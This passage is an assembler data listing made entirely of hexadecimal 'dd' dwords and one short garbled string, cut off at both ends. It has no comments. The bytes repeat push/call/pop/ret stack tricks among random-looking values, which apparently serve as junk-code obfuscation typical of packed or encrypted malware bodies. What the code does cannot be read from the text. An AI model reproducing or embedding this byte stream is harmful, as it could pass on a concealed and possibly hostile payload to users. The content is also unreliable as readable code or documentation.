0FD06FFD6h, 68B15A5Ah, 0E600B0A5h, 0CB816670h dd 71E4D522h, 0A5DF8166h, 0F613C2Ah, 0E283h, 0BE900h, 262E0000h dd 2E599ACAh, 0CA7C70A7h, 0C8B60F08h, 6BAh, 89C18B00h dd 0B2E49BDh, 4E8C106h, 7E9h, 55D1900h, 13C51Fh, 8BE2F766h dd 0B33819Dh, 80C82B06h, 0D18BCDD7h, 28D0Fh, 0FE8B0000h dd 6E9h, 518D8900h, 8B060B02h, 0B182D85h, 71BD8906h, 29060B0Ch dd 0B27ED8Dh, 7C08306h, 0E1B50360h, 66060B2Ah, 8361F88Bh dd 0D98B00C0h, 830FD03Bh, 16h, 6E9h, 0D1829300h, 0E90FB675h dd 53h, 7199D8Bh, 8D8B060Bh, 60B2A9Dh, 83F88B66h, 840F01E1h dd 3Bh, 9E9h, 8EB1E800h, 414DD3F2h, 3DBF7266h, 83766B1Dh dd 0B2A9DA5h, 0FE9FE06h, 8E000000h, 89E96765h, 832C86AEh dd 9DF9ED24h, 9589C81Dh, 60B182Dh, 0E9E1B7h, 8D000000h dd 0EBDD2B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0F781229Ah, 4D5772ABh, 11E9006Ah dd 45000000h, 85DE0BC0h, 0F729B743h, 6EDDE124h, 5301CB7Bh dd 32DD95FFh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 8BB48BC3h, 713B9FEh, 0BF660000h dd 0E183F3E7h, 28C0FFCh, 8B000000h, 870FFCD9h, 6, 65B589h dd 0BD8B060Bh, 60B0E79h, 0B8h, 8BFB8B00h, 0B2961BDh, 66D22B06h dd 33ADFE8Bh, 3E8D1C2h, 4E983D0h, 6AF475h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0A97D41C3h dd 0CE424F6Eh, 9D8B9815h, 60B0791h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 5FC35141h, 0D9BBBD30h, 880D869Fh dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 88D7C353h, 9ED84147h, 0DE9h, 30031700h dd 0CD4951h, 0BBE30789h, 8D894977h, 60B1021h, 174D958Bh dd 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 6A3BC7C3h, 0BF0FB7F2h, 49BD09FBh, 8B060B20h dd 0B01198Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0DE8F9h, 0B0FE0000h, 36A02634h, 0D4688AFDh dd 5F8EE5DCh, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 0BF665818h, 0BD83D77Dh, 60B29BDh, 6C840F00h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 0B8F9C350h, 0 dd 0DC9B589h, 8D8D060Bh, 60B4DD7h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 82C35242h, 66C935Bh, 0AF66549Ch dd 7E9B7h, 5F60000h, 61DE4F3Ah, 8CF38145h, 0FF394FBAh dd 41B529E1h, 83060B03h, 0B1009BDh, 840F0006h, 380h, 8199D89h dd 0BF60060Bh, 45F09BD7h, 61F0B70Fh, 1009BD83h, 0F01060Bh dd 37E84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0CF374063h, 5890F43h, 60000000h dd 61EFE280h, 1009BD83h, 0F03060Bh, 31086h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0A0F35C0Ch, 60312BBDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 80C35343h, 19118D29h, 8C66060Bh, 0CE9D9h dd 0DDC00000h, 0C513F8F7h, 0F24CB34Fh, 0E180D4F9h, 55006A04h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0F067E24h, 0C90AD8B7h, 10B840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 684D58C3h dd 8BD88B31h, 0B317D85h, 0DFBF0F06h, 6ED8533h, 6A060Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 11E8BDC3h, 9F000000h, 78A008D3h, 3F6C3AD0h, 0B997D716h dd 0BC5C72Eh, 8B5FDE8Ah, 0B2461BDh, 0BB665006h, 4895101h dd 0D171BB24h, 6A3CD5h, 0E8DABF0Fh, 4, 1F03FFh, 0F989BF66h dd 8BDF8B50h, 66042444h, 8BFA8Bh, 9800Fh, 820F0000h, 3 dd 89FE8B66h, 51042444h, 6A585Fh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 97F6F4C3h, 0C430D0CEh dd 800FCE3Eh, 0Dh, 8E9h, 6D12AA00h, 0A46D0876h, 0D195FF96h dd 8B060B03h, 0B0E79BDh, 1D858906h, 0BF060EA8h, 34F0A83Eh dd 17559529h, 1BE9060Bh, 89000001h, 0B0399BDh, 15858B06h dd 8B060EA8h, 0B04EDBDh, 1800C706h, 66000000h, 8BC0EABBh dd 0EA819B5h, 0E1858B06h, 6A060B06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0C77C352h dd 7B6012EFh, 32E78135h, 8B089336h, 0B2435BDh, 89068906h dd 0B15B595h, 7D858B06h, 8B060B31h, 0B16BDBDh, 4468906h dd 50FE8B66h, 8B665250h, 66310FD8h, 585AFA8Bh, 66243489h dd 0FFD919BBh, 0EA815B5h, 919D0B06h, 68060B2Ah, 8D090050h dd 7E9h, 0A7B08700h, 633D792h, 0AF240481h, 6A731603h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 2FEFC355h, 5C1381E9h, 0BD89CDC8h, 60B2991h, 190D8509h dd 858D060Bh, 60EA81Dh, 66E78166h, 5250909Eh, 310F5AB7h dd 7E8h, 9B607200h, 0D812B786h, 5A5FF88Bh, 0F88B5058h dd 0C1BD8990h, 0FF060B26h, 0B03D195h, 0CE906h, 0C02D0000h dd 0AC1B0C63h, 0EEBFD691h, 6A61D0BBh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8909C351h dd 0B2131BDh, 985C706h, 3060B10h, 83000000h, 0EA81DBDh dd 840F0006h, 31h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 6FC35040h, 0A011B041h, 2AAD8589h, 21E9060Bh dd 8B000000h, 0B0D2DBDh, 0C305006h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 6D71D3BBh, 9BD8334h, 3060B10h dd 451850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 0BD0B4BC3h, 60B2011h, 68D0Fh, 85890000h dd 60B1B4Dh, 0A81DBD83h, 0F00060Eh, 41684h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 98D29BAh, 8B060B0Ch, 0B00E1BDh, 1DB5FF06h, 6A060EA8h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 0A6DCC350h, 0B589198Eh, 60B12E5h, 83D95FFh dd 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 68CADCC3h, 0FBCAB14h, 68Eh, 0D5BD8900h, 8B060B32h dd 0EA811B5h, 106C706h, 0B7000100h, 8CBF96F9h, 5023BC5Ch dd 6A96FB8Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 3C8EC350h, 94EB05E1h, 0B5FF131Eh dd 60EA81Dh, 13219589h, 95FF060Bh, 60B0641h, 0A811B58Bh dd 0EB81060Eh, 6E857A9h, 121D858Bh, 6A060Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 232B83C3h dd 0B0875BDh, 0C4868906h, 0F000000h, 958BFEBFh, 60B174Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 25C35747h dd 6A04C283h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0A5B6C350h, 152D9D29h, 0C781060Bh dd 12C26C0Ch, 6A205089h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 0ED0CC352h, 0CE3219B1h dd 10E9h, 0A6418D00h, 410E5CD9h, 32DD5D21h, 433CD04Ah dd 8DD88B5Ch, 0EBAEE85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 0A208756Bh, 0FB2211Ch dd 68Ah, 499D8B00h, 89060B18h, 0B886h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 4EC71121h, 7FBBDF51h, 6A302CA5h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 89BD899Dh dd 0FF060B0Bh, 0EA81DB5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 1A3D5389h dd 35A50503h, 66D98AB9h, 0B2EDCF81h, 0F1595FFh, 6A060Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 6EC510C3h, 98D91AF3h, 9D8D896Eh, 50060B05h, 7684BF66h dd 0F243489h, 0B5FFDBBFh, 60EA81Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 2BC35646h, 0BB66F2C8h, 95FF24F8h dd 60B00F5h, 2191BD83h, 0F00060Bh, 2384h, 0BA2CBF00h, 0E8507185h dd 8, 0F8D29130h, 89A73A4h, 6840Fh, 810F0000h, 0 dd 2434895Fh, 0A81DB5FFh, 6A060Eh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 26AABC3h, 0CE99BB4h dd 3000000h, 2AB32DA0h, 0F322BE63h, 0E801192Eh, 0Bh, 6F23F8A7h dd 48CBB432h, 5F82B9C3h, 10E960h, 0F5D0000h, 325DF423h dd 85D8EECAh, 3DF8319Dh, 860FEA61h, 6, 2781958Bh, 0FF61060Bh dd 0B128195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 8DCC32D7h, 2870Fh, 0DF8B0000h, 0A81DB5FFh dd 6A060Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 89802DC3h, 0B0BC995h, 0D7816606h, 95FFB6EBh dd 60B0B8Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 35C35545h, 0D0E78166h, 0F7F38174h, 830A36D8h, 0B17F1BDh dd 840F0206h, 21h, 133CF781h, 858B2238h, 60B2EC5h, 68B0Fh dd 95890000h, 60B1639h, 8B0000C6h, 0B0DA1BDh, 0B985C706h dd 60B06h, 66000000h, 0E9C161BFh, 0FFFFF465h, 8B7FD380h dd 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 382E90FDh, 69BF66C7h, 0EF816661h, 858DEC0Bh dd 60B28A9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 49C35747h, 0BF0F0324h, 499D8BDBh, 50060B2Fh, 489F88Ah dd 8E924h, 0E98D0000h, 0F4352E37h, 6A60DFh, 0E5DE8060h dd 19E18589h, 6661060Bh, 6A4129BBh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 70F26DD6h dd 0BD8C3BD1h, 870F27FFh, 4, 2B9FBB66h, 6F79ADBBh, 0F5858D63h dd 6A060F40h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 79DAC351h, 427D973h, 858973C2h dd 60B0705h, 6A05C083h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 5CCEC355h, 0BD8B24F5h dd 60B1019h, 4A9EBF66h, 6E890h, 41730000h, 6C5384Ch, 10B3505Fh dd 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 0D7812EA4h, 114C7480h, 6A006AF5h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 8957C351h, 0B2021B5h, 6A006A06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 603C352h dd 0F0693E39h, 0E9969B90h, 2F2195FFh, 8D8D060Bh, 60EA7B0h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C6C35343h dd 8AF0A31Dh, 50CCAA8Dh, 12A58509h, 0FF5B060Bh, 0DABF0FD1h dd 0B19BD83h, 0F01060Bh, 2C85h, 8B026A00h, 0B1335BDh, 0BE89006h dd 72000000h, 365B376Ch, 0A7153756h, 0D98A4B21h, 0DA8B505Bh dd 1595FF90h, 29060B0Fh, 0B18D98Dh, 0EB7E906h, 0E80000h dd 5D000000h, 40FFED81h, 0EB81060Fh, 42335013h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0A5C35040h, 0F4C559Bh dd 0B8Fh, 8B666000h, 0E59589F3h, 61060B29h, 9293858Dh dd 0E990060Eh, 0Fh, 0C05B5961h, 3497ACC1h, 4661C18Fh, 50AD4606h dd 8E9h, 0AC48AE00h, 51DA354Ch, 0BD039033h, 60B0961h, 35FF64h dd 0F000000h, 68Eh, 0E19D3300h, 64060B1Fh, 2589h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0B92D3C3h, 532CB680h, 661FE676h, 85FFDA8Bh, 60B066Dh dd 0CFBBBF66h, 6AFF6Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0CB67D7C3h, 37B2C23Dh, 9D8BD0D1h dd 60B26D5h, 1A49B5FFh, 6A060Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0B5897CC3h, 60B13A9h dd 3399D8Bh, 95FF060Bh, 60B2411h, 188E9h, 0C830F00h, 0F000000h dd 686h, 0F98D0900h, 0B0060B22h, 8810F00h, 0F000000h, 28Dh dd 0F5F5100h, 180h, 70E6F500h, 15D98509h, 0BD8B060Bh, 60B2491h dd 0F96071E4h, 212D9523h, 3C61060Bh, 3E830F61h, 1000001h dd 0B28A59Dh, 0C8B60F06h, 0D9D8D89h, 6BA060Bh, 8B000000h dd 0B98529C1h, 89060B2Ah, 0B028DB5h, 4E8C106h, 66D98B66h dd 0BD8BE2F7h, 60B19EDh, 8BFCC82Bh, 0FD18BD8h, 0C82h, 6840F00h dd 29000000h, 0B28FD8Dh, 2E906h, 5B530000h, 41D858Bh, 9D09060Bh dd 60B00D5h, 8907C083h, 0B132185h, 0C08306h, 46F68160h dd 61083313h, 830FD03Bh, 46h, 0FE8h, 8DC89C00h, 0FDE634F0h dd 6C48EE7Ah, 0E298AD65h, 14E960h, 0E77D0000h, 63F8677Eh dd 1179A884h, 144BCF4Fh, 0C89863ECh, 5F6189B9h, 90E9h dd 0BE9F800h, 5C000000h, 9939BBDDh, 3B06E5E4h, 8D8B0A5Bh dd 60B2421h, 12E9h, 569D8800h, 0D66171CCh, 66C13A4Fh, 0FDBF7BF2h dd 83786099h, 840F01E1h, 59h, 13E9h, 9030BC00h, 56D8895Bh dd 0F9F5891h, 313D4855h, 72202418h, 2421A583h, 0E8FE060Bh dd 13h, 7C09C9E2h, 454A89ADh, 62CDB2Eh, 0CB444D5Ch, 331B7A38h dd 0B0DC9BDh, 95895F06h, 60B041Dh, 0FDA8B66h, 78Ch, 81665100h dd 5FAA06DFh, 0E9h, 0BEB58D00h, 6A060EC6h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 492AC355h dd 0B589B0F0h, 60B1825h, 8A0F006Ah, 1, 0DD95FFFCh, 31060B32h dd 0B01B98Dh, 0DF1B906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 751472C3h, 0A4BFFEFBh dd 83479BC2h, 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0C9C66DC3h, 20D09E75h, 6AFCA06Eh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 2BD4C352h, 8D5EA12Eh, 8960C036h, 0B0689B5h dd 2800F06h, 8B000000h, 0C02B61DAh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0BBC35040h, 319D8BC9h, 2B060B10h dd 0E58589D2h, 0AD060B14h, 0E8D1C233h, 0E983D003h, 80F47504h dd 6A50DFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 11E982C3h, 0DB000000h, 1673609Ah, 7B14B8E3h dd 0EC9DEE09h, 6CB6C03Ah, 11E9h, 0E3A1ED00h, 0F3C2842Dh dd 4027654Eh, 916C14CBh, 880D0116h, 0F000000h, 684h, 99D8900h dd 8B060B00h, 0B174D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 8D8B2823h, 60B0119h, 0AF98D89h dd 8B50060Bh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0DCC35141h dd 0CAF6717Bh, 5FF88B53h, 4F69BF66h, 29BDBD83h, 0F00060Bh dd 2584h, 159D2300h, 0B8060B14h, 0 dd 14D5BD01h, 8D8D060Bh, 60B4DD7h, 21799D8Bh, 0E1FF060Bh dd 20D3CF81h, 0BD83464Ch, 60B1009h, 0AE840F00h, 6A000004h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0B6C1C356h, 9E78073h, 1009BD83h, 0F01060Bh dd 49B84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 9FB8E4F6h, 6621D381h, 0BD8B096Eh dd 60B1259h, 1009BD83h, 0F03060Bh, 42D86h, 619D8B00h, 60060B11h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0BEC35141h dd 6AD98C66h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 1E65C350h, 14E9h, 53856E00h, 51A10BF9h dd 0EE2B14E8h, 6530176Fh, 2DD69FE9h, 80F88A19h, 6A04E1h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 518F44C3h, 6CC51EAEh, 0E59D8B30h, 57060B12h, 5BEDBF66h dd 0FC90A5Bh, 12284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 0B598A60Eh, 317D858Bh dd 860F060Bh, 3, 33D8B70Fh, 0B06ED85h, 599D3306h, 89060B02h dd 0B0F49B5h, 4895006h, 6ADB8024h, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 8720FFC3h dd 62AEBF66h, 37D3C468h, 5860F61h, 0BF000000h, 6BF0AF99h dd 3B243481h, 0F6128D0h, 148Bh, 8E800h, 0B7E40000h, 0C7C93890h dd 840F50F6h, 0 dd 0D195FF5Fh, 6A060B03h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 511FC357h, 3A89BD5Eh dd 0C058589h, 9D23060Bh, 60B17F9h, 0A81D8589h, 6A060Eh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 24E6CDC3h, 444E1026h, 898D6692h, 0B16BD95h, 22AE906h dd 11E80000h, 0BF000000h, 55D39A04h, 0F3F16C74h, 0A59A0E27h dd 7D94A094h, 32F58589h, 8B5B060Bh, 0EA81585h, 14E806h dd 1A2C0000h, 9750D47Ch, 0F0EB4178h, 4C36522h, 0A6C17A5Eh dd 13E86259h, 4B000000h, 0CC5743E5h, 32B8A180h, 914A1D17h dd 0A9DA9DE4h, 0AE8222Dh, 94000000h, 860D9980h, 0C8B1BAC1h dd 5B5F5B88h, 1800C7h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 629E37C3h, 19B58B3Ah dd 6A060EA8h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0B866C357h, 359D8B57h, 5B060B13h dd 6E1858Bh, 8B66060Bh, 6A0689D9h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 5AA7C350h dd 7D858BFCh, 9060B31h, 0B2E91BDh, 5830F06h, 66000000h dd 0BF2AE781h, 6A044689h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 743FC352h, 0E97C490Eh dd 13h, 50218AACh, 0D2F9981Ah, 0B79314D0h, 1715A7F9h, 5066F5D6h dd 0D5AD75BBh, 24348946h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 13C35545h, 0C56A6452h, 0F964A70h, 8D89DBB7h dd 60B27C5h, 0A815B5FFh, 8501060Eh, 60B21DDh, 31577B68h dd 81D88B91h, 0AC842404h, 6A6EEDh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 15D5E3C3h, 0C57E557Dh dd 1D858D0Ch, 6A060EA8h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 33C4C355h, 9589675Dh dd 60B0669h, 247D8D09h, 6650060Bh, 89C1A3BFh, 6A2404h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0C0368DC3h, 0FFDE8B66h, 0B03D195h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0B590EA08h, 95896208h, 60B063Dh, 0F1BD8B61h, 66060B32h dd 0C75238BBh, 0B100985h, 306h, 0C9958900h, 83060B00h dd 0EA81DBDh, 840F0006h, 3Eh, 0EE9h, 0D03B4500h, 0E2F3E87h dd 5A170912h, 0E948C00Ch, 41h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 53C35141h, 883645A2h, 1B299D29h dd 3050060Bh, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 0D8BF0FC0h, 19919D8Bh, 6A060Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 27B2D2C3h dd 93AD6ED7h, 0FDBD897Eh, 83060B0Ah, 0B1009BDh, 850F0306h dd 49Eh, 75BCEB81h, 0BD8318DEh, 60EA81Dh, 8B840F00h, 6A000004h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 435EC351h, 0C0D77906h, 0CBD9D29h, 0B5FF060Bh dd 60EA81Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 95C35343h, 373F5363h, 83D95FFh, 9D8B060Bh, 60B1AC5h dd 2B61B589h, 0B58B060Bh, 60EA811h, 0FE9h, 1A983500h, 9A5FECD0h dd 84BB3DCh, 24AFDDA8h, 14E59D8Bh, 6C7060Bh, 10001h, 0A6399DBFh dd 5060964Dh, 9E852h, 9A210000h, 3F16970Eh, 5A748110h dd 6E8310Fh, 28000000h, 0BF2D6DAh, 585A5F20h, 56535061h dd 5F5BDE8Bh, 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 55F710E5h, 0C6234100h, 1DB5FF97h dd 0F060EA8h, 689h, 0B1B58900h, 0FF060B07h, 0B064195h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0B5A850FFh, 8BE8D690h, 0B0509BDh, 7E806h dd 54000000h, 0E112D6BAh, 59BD8983h, 5F060B13h, 0A811B58Bh dd 6A060Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 3153DDC3h, 9D8BC856h, 60B0E9Dh, 19059589h dd 858B060Bh, 60B121Dh, 29DD9589h, 8689060Bh, 0C4h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 98C35545h, 0E5BA9D04h dd 0D0E8FD9Ch, 6860F0Ah, 89000000h, 0B0B318Dh, 4D958B06h dd 31060B17h, 0B04B595h, 4C28306h, 68F0Fh, 8D0F0000h, 0 aFHnipJ db 'fżHNP j',0 db 55h, 0E8h, 3 dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 959C355h, 0BAEE858Dh, 6A060Eh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 7F013FC3h, 110D128Ah dd 66B7547Bh, 897C5EBBh, 0B886h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 9D8B9997h dd 60B08B1h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0CF4877C3h, 3F0CA72Ah, 10E82A76h dd 44000000h, 0AA37B579h, 0CD73ADCEh, 5297592h, 8A9C0363h dd 0B5FF5BDDh, 60EA81Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 6BC35545h, 0D9B70FC8h, 0F1595FFh, 6A060Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 44A6EC3h, 8D01CBC7h, 60B3355h, 0EE950h, 9C040000h, 8EBD55D2h dd 0F08318A6h, 0EED8B1AAh, 6A243489h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 8C1AC351h dd 0B5FFF8D2h, 60EA81Dh, 0B70FF88Bh, 0F595FFF8h, 66060B00h dd 9FBDDB81h, 2191BD83h, 0F00060Bh, 5184h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0D098DBFAh, 29C9B589h, 5096060Bh, 6A96DE8Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 6EC6C350h, 6FBE066Eh, 6690D367h, 0B5FFFE8Bh, 60EA81Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 7AC35343h dd 9B9ABCF8h, 8195FF10h, 0E8060B12h, 0Eh, 9FFA071Ah, 6B1E1CF1h dd 0D2703D81h, 85094EC1h, 60B2001h, 1DB5FF5Bh, 0F060EA8h dd 95FFDBBFh, 60B0B8Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 8DC35040h, 15520AECh, 0BD834614h, 60B17F1h dd 86840F02h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0CDDEC350h, 95E9AB4Fh dd 6060A4AAh, 6E9h, 0CFB9A600h, 2905B095h, 0B298195h, 0CE96106h dd 4D000000h, 0EA94D76Dh, 0FCFE7CE4h, 6143BA0Bh, 2EC5858Bh dd 8F0F060Bh, 6, 13BD9D29h, 0C6060Bh, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 92111266h, 8BF9DC91h, 0B151DBDh, 0B985C706h, 60B06h dd 0F000000h, 49E9D9BFh, 6AFFFFF2h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8B21C357h dd 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 8BE18CDFh, 0B0BC59Dh, 0A9858D06h, 0F060B28h dd 38Fh, 0F98B6600h, 0BF665750h, 895F3E82h, 6A2404h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 6AEEC3h, 7E18D89h, 6A060Bh, 261BD0Bh, 858D060Bh, 60F5116h dd 0DB9FBF66h, 6A05C083h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 1140C350h, 72DD1DD0h dd 89601B51h, 0B15C59Dh, 61F38A06h, 0BA34BF50h, 4895265h dd 0AD850124h, 6A060B02h, 38B0F00h, 80000000h, 6A38C3h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 49C35141h dd 0CDABE4Bh, 68E0F40h, 1000000h, 0B0CE5B5h, 2195FF06h dd 6A060B2Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0D7F6C355h, 0E5BD8B77h, 8D060B04h dd 0EA7B08Dh, 0EF816606h, 0D1FF209Ch, 7E9h, 0EAF4BA00h dd 0DA267E44h, 0B19BD83h, 0F01060Bh, 4D85h, 0BA606000h dd 13EE3496h, 8D2B61FCh, 60B0F31h, 89026A61h, 0B06299Dh dd 8B665006h, 240489D8h, 6D18D01h, 95FF060Bh, 60B0F15h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 15C35343h dd 0AE0E5344h, 41E972FDh, 